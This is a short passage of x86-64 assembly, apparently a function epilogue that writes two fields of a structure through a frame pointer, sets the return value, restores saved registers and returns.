mov rcx, qword [rbp + 0x28]
mov dword [rcx + 8], eax
mov dword [rcx + 4], 1
mov eax, esi
lea rsp, [rbp + 0x48]
pop rbx
pop rsi
pop rdi
pop r13
pop r14
pop rbp
ret